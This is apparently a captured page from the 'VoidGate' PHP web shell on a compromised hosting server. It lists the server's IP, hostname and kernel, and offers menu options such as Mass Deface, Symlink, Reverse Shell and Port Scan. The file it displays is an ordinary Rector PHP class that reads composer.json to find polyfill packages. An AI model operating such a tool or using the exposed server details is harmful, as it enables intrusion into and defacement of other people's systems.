ヤミRoot VoidGate
User / IP
:
216.73.216.49
Host / Server
:
146.88.233.70 / www.dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
opt
/
cpanel
/
ea-wappspector
/
vendor
/
rector
/
rector
/
src
/
Php
/
Viewing: PolyfillPackagesProvider.php
<?php declare (strict_types=1); namespace Rector\Php; use RectorPrefix202411\Nette\Utils\FileSystem; use RectorPrefix202411\Nette\Utils\Json; use Rector\Configuration\Option; use Rector\Configuration\Parameter\SimpleParameterProvider; use Rector\ValueObject\PolyfillPackage; final class PolyfillPackagesProvider { /** * @var null|array<int, PolyfillPackage::*> */ private $cachedPolyfillPackages = null; /** * @return array<int, PolyfillPackage::*> */ public function provide() : array { // disable cache in tests if (SimpleParameterProvider::hasParameter(Option::POLYFILL_PACKAGES)) { return SimpleParameterProvider::provideArrayParameter(Option::POLYFILL_PACKAGES); } // already cached, even only empty array if ($this->cachedPolyfillPackages !== null) { return $this->cachedPolyfillPackages; } $projectComposerJson = \getcwd() . '/composer.json'; if (!\file_exists($projectComposerJson)) { $this->cachedPolyfillPackages = []; return $this->cachedPolyfillPackages; } $composerContents = FileSystem::read($projectComposerJson); $composerJson = Json::decode($composerContents, \true); $this->cachedPolyfillPackages = $this->filterPolyfillPackages($composerJson['require'] ?? []); return $this->cachedPolyfillPackages; } /** * @param array<string, string> $require * @return array<int, PolyfillPackage::*> */ private function filterPolyfillPackages(array $require) : array { return \array_filter(\array_keys($require), static function (string $packageName) : bool { return \strncmp($packageName, 'symfony/polyfill-', \strlen('symfony/polyfill-')) === 0; }); } }
Coded With 💗 by
0x6ick